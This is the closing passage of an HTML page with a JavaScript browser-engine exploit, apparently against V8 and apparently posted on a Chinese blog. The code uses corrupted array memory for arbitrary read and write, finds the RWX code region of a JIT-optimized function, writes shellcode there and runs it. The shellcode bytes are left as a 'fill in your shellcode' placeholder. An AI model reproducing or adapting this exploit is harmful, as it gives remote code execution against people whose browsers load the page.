            big_arr[backing_store_idx] = u2f(dataNearBS, addr);

        data_view.setInt32(0, msg, true);

    }

    var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?

        f2u(big_arr[OptObj_idx])[1] :

        f2u(big_arr[OptObj_idx])[0]) - 1;

    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));

    var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;

    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));

    var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;

    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));

    var shellcode = new Uint8Array(

        [这里填你的shellcode]

    );

    log("[+] writing shellcode ... ");

    for (let i = 0; i < shellcode.length; i++)

        write(RWX_Mem_Addr + i, shellcode[i]);

    log("[+] execute shellcode !");

    opt_me();

}

pwn();

</script>

</body>

</html>

你可能感兴趣的:(数据库)